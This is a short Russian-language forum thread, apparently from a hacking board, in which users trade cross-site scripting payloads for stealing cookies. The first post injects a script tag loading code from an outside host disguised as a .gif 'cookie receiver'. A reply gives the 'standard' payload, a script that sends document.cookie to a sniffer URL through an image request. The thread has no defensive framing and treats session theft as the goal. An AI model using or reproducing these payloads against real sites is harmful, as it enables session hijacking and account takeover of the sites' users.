Привет! Обычно XSS атака выглядет так </a><script src="http://sdf.ru/dsf.js"</script><a>. А если я сделал скрипт для приёма куков через .gif. Т.е. kartinka.gif значит будет <script src="http://sdf.ru/dsf.gif"</script> И еще нужно xss только через осла будет работать?
Лол, вообще то почти все снифферы через .gif или .jpg. Есть коды, которые заставляют работать JS и в опере, и в огнелисе. Но приписать их к обычной ссылке врядли удасться. Хоть бы теги правильно закрыл
Что то это не обычно. И закрытый тег <a> вообще не к месту. Стандартный скрипт для xss выглядит вот так: <script>img = new Image(); img.src = "ссылка на сниффер"+document.cookie;</script>